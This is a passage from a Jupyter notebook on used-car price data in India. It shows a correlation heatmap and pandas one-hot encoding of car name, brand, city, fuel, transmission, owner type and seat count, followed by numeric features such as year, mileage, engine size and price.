qMS03wzAMo9YxLTfDbUTkelX9UkRcnjRZVSed7ZwMw6gdTHEz3CnQ8X+wi3mmS8EwjCoz3ZKG24hIE1U9XM68S1X1p7Odk2EYtYM5iNtwp8Ui0qL0RBG5BXjrrGdjGEatYYqb4U4PAQtFpE3hBBF5CngYGOq2rAzDOOeZfW6G26jqPBHJA34VkcuA/wN6A0NUNdWtyRmGcU4z+9wMtxORQcAPwB/Alaqa696MDMM415niZriNiBzHPipSAF/gJPYTJgv2K3HXcWN6hmGcw0xxMwzDMGodM6DEMAzDqHVMcTMMwzBqHVPcDMMwjFrHFDfDMAyj1jHFzTAMw6h1/h8CTjvZwm+AUwAAAABJRU5ErkJggg==\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "sns.heatmap(feat_analysis.corr(),annot=True,cmap = 'YlGnBu')" - ] - }, - { - "cell_type": "code", - "execution_count": 111, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
Audi A3 35 TDI AttractionAudi A3 35 TDI PremiumAudi A3 35 TDI Premium PlusAudi A3 35 TDI TechnologyAudi A4 1.8 TFSIAudi A4 1.8 TFSI Technology EditionAudi A4 2.0 TDIAudi A4 2.0 TDI 177 Bhp Premium PlusAudi A4 2.0 TDI 177 Bhp Technology EditionAudi A4 2.0 TDI Celebration Edition...Volvo S80 D5Volvo V40 Cross Country D3Volvo V40 D3Volvo V40 D3 R DesignVolvo XC60 D4 SUMMUMVolvo XC60 D4 SummumVolvo XC60 D5Volvo XC60 D5 InscriptionVolvo XC90 2007-2015 D5 AT AWDVolvo XC90 2007-2015 D5 AWD
00000000000...0000000000
10000000000...0000000000
20000000000...0000000000
30000000000...0000000000
40000000000...0000000000
..................................................................
60140000000000...0000000000
60150000000000...0000000000
60160000000000...0000000000
60170000000000...0000000000
60180000000000...0000000000
\n", - "

6019 rows × 1875 columns

\n", - "
" - ], - "text/plain": [ - " Audi A3 35 TDI Attraction Audi A3 35 TDI Premium \\\n", - "0 0 0 \n", - "1 0 0 \n", - "2 0 0 \n", - "3 0 0 \n", - "4 0 0 \n", - "... ... ... \n", - "6014 0 0 \n", - "6015 0 0 \n", - "6016 0 0 \n", - "6017 0 0 \n", - "6018 0 0 \n", - "\n", - " Audi A3 35 TDI Premium Plus Audi A3 35 TDI Technology \\\n", - "0 0 0 \n", - "1 0 0 \n", - "2 0 0 \n", - "3 0 0 \n", - "4 0 0 \n", - "... ... ... \n", - "6014 0 0 \n", - "6015 0 0 \n", - "6016 0 0 \n", - "6017 0 0 \n", - "6018 0 0 \n", - "\n", - " Audi A4 1.8 TFSI Audi A4 1.8 TFSI Technology Edition Audi A4 2.0 TDI \\\n", - "0 0 0 0 \n", - "1 0 0 0 \n", - "2 0 0 0 \n", - "3 0 0 0 \n", - "4 0 0 0 \n", - "... ... ... ... \n", - "6014 0 0 0 \n", - "6015 0 0 0 \n", - "6016 0 0 0 \n", - "6017 0 0 0 \n", - "6018 0 0 0 \n", - "\n", - " Audi A4 2.0 TDI 177 Bhp Premium Plus \\\n", - "0 0 \n", - "1 0 \n", - "2 0 \n", - "3 0 \n", - "4 0 \n", - "... ... \n", - "6014 0 \n", - "6015 0 \n", - "6016 0 \n", - "6017 0 \n", - "6018 0 \n", - "\n", - " Audi A4 2.0 TDI 177 Bhp Technology Edition \\\n", - "0 0 \n", - "1 0 \n", - "2 0 \n", - "3 0 \n", - "4 0 \n", - "... ... \n", - "6014 0 \n", - "6015 0 \n", - "6016 0 \n", - "6017 0 \n", - "6018 0 \n", - "\n", - " Audi A4 2.0 TDI Celebration Edition ... Volvo S80 D5 \\\n", - "0 0 ... 0 \n", - "1 0 ... 0 \n", - "2 0 ... 0 \n", - "3 0 ... 0 \n", - "4 0 ... 0 \n", - "... ... ... ... \n", - "6014 0 ... 0 \n", - "6015 0 ... 0 \n", - "6016 0 ... 0 \n", - "6017 0 ... 0 \n", - "6018 0 ... 0 \n", - "\n", - " Volvo V40 Cross Country D3 Volvo V40 D3 Volvo V40 D3 R Design \\\n", - "0 0 0 0 \n", - "1 0 0 0 \n", - "2 0 0 0 \n", - "3 0 0 0 \n", - "4 0 0 0 \n", - "... ... ... ... \n", - "6014 0 0 0 \n", - "6015 0 0 0 \n", - "6016 0 0 0 \n", - "6017 0 0 0 \n", - "6018 0 0 0 \n", - "\n", - " Volvo XC60 D4 SUMMUM Volvo XC60 D4 Summum Volvo XC60 D5 \\\n", - "0 0 0 0 \n", - "1 0 0 0 \n", - "2 0 0 0 \n", - "3 0 0 0 \n", - "4 0 0 0 \n", - "... ... ... ... \n", - "6014 0 0 0 \n", - "6015 0 0 0 \n", - "6016 0 0 0 \n", - "6017 0 0 0 \n", - "6018 0 0 0 \n", - "\n", - " Volvo XC60 D5 Inscription Volvo XC90 2007-2015 D5 AT AWD \\\n", - "0 0 0 \n", - "1 0 0 \n", - "2 0 0 \n", - "3 0 0 \n", - "4 0 0 \n", - "... ... ... \n", - "6014 0 0 \n", - "6015 0 0 \n", - "6016 0 0 \n", - "6017 0 0 \n", - "6018 0 0 \n", - "\n", - " Volvo XC90 2007-2015 D5 AWD \n", - "0 0 \n", - "1 0 \n", - "2 0 \n", - "3 0 \n", - "4 0 \n", - "... ... \n", - "6014 0 \n", - "6015 0 \n", - "6016 0 \n", - "6017 0 \n", - "6018 0 \n", - "\n", - "[6019 rows x 1875 columns]" - ] - }, - "execution_count": 111, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# converting string to digits\n", - "name_num = pd.get_dummies(data_trimmed.Name, drop_first=True)\n", - "name_num" - ] - }, - { - "cell_type": "code", - "execution_count": 112, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
AudiBMWBentleyChevroletDatsunFiatForceFordHondaHyundai...MitsubishiNissanPorscheRenaultSkodaSmartTataToyotaVolkswagenVolvo
00000000000...0000000000
10000000001...0000000000
20000000010...0000000000
30000000000...0000000000
41000000000...0000000000
..................................................................
60140000000000...0000000000
60150000000001...0000000000
60160000000000...0000000000
60170000000000...0000000000
60180001000000...0000000000
\n", - "

6019 rows × 30 columns

\n", - "
" - ], - "text/plain": [ - " Audi BMW Bentley Chevrolet Datsun Fiat Force Ford Honda \\\n", - "0 0 0 0 0 0 0 0 0 0 \n", - "1 0 0 0 0 0 0 0 0 0 \n", - "2 0 0 0 0 0 0 0 0 1 \n", - "3 0 0 0 0 0 0 0 0 0 \n", - "4 1 0 0 0 0 0 0 0 0 \n", - "... ... ... ... ... ... ... ... ... ... \n", - "6014 0 0 0 0 0 0 0 0 0 \n", - "6015 0 0 0 0 0 0 0 0 0 \n", - "6016 0 0 0 0 0 0 0 0 0 \n", - "6017 0 0 0 0 0 0 0 0 0 \n", - "6018 0 0 0 1 0 0 0 0 0 \n", - "\n", - " Hyundai ... Mitsubishi Nissan Porsche Renault Skoda Smart Tata \\\n", - "0 0 ... 0 0 0 0 0 0 0 \n", - "1 1 ... 0 0 0 0 0 0 0 \n", - "2 0 ... 0 0 0 0 0 0 0 \n", - "3 0 ... 0 0 0 0 0 0 0 \n", - "4 0 ... 0 0 0 0 0 0 0 \n", - "... ... ... ... ... ... ... ... ... ... \n", - "6014 0 ... 0 0 0 0 0 0 0 \n", - "6015 1 ... 0 0 0 0 0 0 0 \n", - "6016 0 ... 0 0 0 0 0 0 0 \n", - "6017 0 ... 0 0 0 0 0 0 0 \n", - "6018 0 ... 0 0 0 0 0 0 0 \n", - "\n", - " Toyota Volkswagen Volvo \n", - "0 0 0 0 \n", - "1 0 0 0 \n", - "2 0 0 0 \n", - "3 0 0 0 \n", - "4 0 0 0 \n", - "... ... ... ... \n", - "6014 0 0 0 \n", - "6015 0 0 0 \n", - "6016 0 0 0 \n", - "6017 0 0 0 \n", - "6018 0 0 0 \n", - "\n", - "[6019 rows x 30 columns]" - ] - }, - "execution_count": 112, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "company_num = pd.get_dummies(data_trimmed.Company, drop_first=True)\n", - "company_num" - ] - }, - { - "cell_type": "code", - "execution_count": 113, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
BangaloreChennaiCoimbatoreDelhiHyderabadJaipurKochiKolkataMumbaiPune
00000000010
10000000001
20100000000
30100000000
40010000000
.................................
60140001000000
60150000010000
60160000010000
60170000000100
60180000100000
\n", - "

6019 rows × 10 columns

\n", - "
" - ], - "text/plain": [ - " Bangalore Chennai Coimbatore Delhi Hyderabad Jaipur Kochi \\\n", - "0 0 0 0 0 0 0 0 \n", - "1 0 0 0 0 0 0 0 \n", - "2 0 1 0 0 0 0 0 \n", - "3 0 1 0 0 0 0 0 \n", - "4 0 0 1 0 0 0 0 \n", - "... ... ... ... ... ... ... ... \n", - "6014 0 0 0 1 0 0 0 \n", - "6015 0 0 0 0 0 1 0 \n", - "6016 0 0 0 0 0 1 0 \n", - "6017 0 0 0 0 0 0 0 \n", - "6018 0 0 0 0 1 0 0 \n", - "\n", - " Kolkata Mumbai Pune \n", - "0 0 1 0 \n", - "1 0 0 1 \n", - "2 0 0 0 \n", - "3 0 0 0 \n", - "4 0 0 0 \n", - "... ... ... ... \n", - "6014 0 0 0 \n", - "6015 0 0 0 \n", - "6016 0 0 0 \n", - "6017 1 0 0 \n", - "6018 0 0 0 \n", - "\n", - "[6019 rows x 10 columns]" - ] - }, - "execution_count": 113, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "location_num = pd.get_dummies(data_trimmed.Location, drop_first=True)\n", - "location_num" - ] - }, - { - "cell_type": "code", - "execution_count": 114, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
DieselElectricLPGPetrol
00000
11000
20001
31000
41000
...............
60141000
60151000
60161000
60170001
60181000
\n", - "

6019 rows × 4 columns

\n", - "
" - ], - "text/plain": [ - " Diesel Electric LPG Petrol\n", - "0 0 0 0 0\n", - "1 1 0 0 0\n", - "2 0 0 0 1\n", - "3 1 0 0 0\n", - "4 1 0 0 0\n", - "... ... ... ... ...\n", - "6014 1 0 0 0\n", - "6015 1 0 0 0\n", - "6016 1 0 0 0\n", - "6017 0 0 0 1\n", - "6018 1 0 0 0\n", - "\n", - "[6019 rows x 4 columns]" - ] - }, - "execution_count": 114, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "fuel_num = pd.get_dummies(data_trimmed.Fuel_Type, drop_first=True)\n", - "fuel_num" - ] - }, - { - "cell_type": "code", - "execution_count": 115, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
Manual
01
11
21
31
40
......
60141
60151
60161
60171
60181
\n", - "

6019 rows × 1 columns

\n", - "
" - ], - "text/plain": [ - " Manual\n", - "0 1\n", - "1 1\n", - "2 1\n", - "3 1\n", - "4 0\n", - "... ...\n", - "6014 1\n", - "6015 1\n", - "6016 1\n", - "6017 1\n", - "6018 1\n", - "\n", - "[6019 rows x 1 columns]" - ] - }, - "execution_count": 115, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "transmission_num = pd.get_dummies(data_trimmed.Transmission, drop_first=True)\n", - "transmission_num" - ] - }, - { - "cell_type": "code", - "execution_count": 116, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
Fourth & AboveSecondThird
0000
1000
2000
3000
4010
............
6014000
6015000
6016010
6017000
6018000
\n", - "

6019 rows × 3 columns

\n", - "
" - ], - "text/plain": [ - " Fourth & Above Second Third\n", - "0 0 0 0\n", - "1 0 0 0\n", - "2 0 0 0\n", - "3 0 0 0\n", - "4 0 1 0\n", - "... ... ... ...\n", - "6014 0 0 0\n", - "6015 0 0 0\n", - "6016 0 1 0\n", - "6017 0 0 0\n", - "6018 0 0 0\n", - "\n", - "[6019 rows x 3 columns]" - ] - }, - "execution_count": 116, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "owner_num = pd.get_dummies(data_trimmed.Owner_Type, drop_first=True)\n", - "owner_num" - ] - }, - { - "cell_type": "code", - "execution_count": 117, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
2.04.05.06.07.08.09.010.0
000100000
100100000
200100000
300001000
400100000
...........................
601400100000
601500100000
601600000100
601700100000
601800100000
\n", - "

6019 rows × 8 columns

\n", - "
" - ], - "text/plain": [ - " 2.0 4.0 5.0 6.0 7.0 8.0 9.0 10.0\n", - "0 0 0 1 0 0 0 0 0\n", - "1 0 0 1 0 0 0 0 0\n", - "2 0 0 1 0 0 0 0 0\n", - "3 0 0 0 0 1 0 0 0\n", - "4 0 0 1 0 0 0 0 0\n", - "... ... ... ... ... ... ... ... ...\n", - "6014 0 0 1 0 0 0 0 0\n", - "6015 0 0 1 0 0 0 0 0\n", - "6016 0 0 0 0 0 1 0 0\n", - "6017 0 0 1 0 0 0 0 0\n", - "6018 0 0 1 0 0 0 0 0\n", - "\n", - "[6019 rows x 8 columns]" - ] - }, - "execution_count": 117, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "seats_num = pd.get_dummies(data_trimmed.Seats, drop_first=True)\n", - "seats_num" - ] - }, - { - "cell_type": "code", - "execution_count": 118, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
YearKilometers_DrivenMileageEnginePowerPrice
020107200026.6099858.161.75
120154100019.671582126.2012.50
220114600018.20119988.704.50
320128700020.77124888.766.00
420134067015.201968140.8017.74
.....................
601420142736528.40124874.004.75
6015201510000024.40112071.004.00
601620125500014.002498112.002.90
601720134600018.9099867.102.65
601820114700025.4493657.602.50
\n", - "

6019 rows × 6 columns

\n", - "
" - ], - "text/plain": [ - " Year Kilometers_Driven Mileage Engine Power Price\n", - "0 2010 72000 26.60 998 58.16 1.75\n", - "1 2015 41000 19.67 1582 126.20 12.50\n", - "2 2011 46000 18.20 1199 88.70 4.50\n", - "3 2012 87000 20.77 1248 88.76 6.00\n", - "4 2013 40670 15.20 1968 140.80 17.74\n", - "... ... ... ... ... ... ...\n", - "6014 2014 27365 28.40 1248 74.00 4.75\n", - "6015 2015 100000 24.40 1120 71.00 4.00\n", - "6016 2012 55000 14.00 2498 112.00 2.90\n", - "6017 2013 46000 18.90 998 67.10 2.65\n", - "6018 2011 47000 25.44 936 57.60 2.50\n", - "\n", - "[6019 rows x 6 columns]" - ] - }, - "execution_count": 118, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "features = data_trimmed.drop(['Name', 'Company', 'Location', 'Fuel_Type', 'Transmission', 'Owner_Type', 'Seats'], axis = 1)\n", - "features" - ] - }, - { - "cell_type": "code", - "execution_count": 119, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - 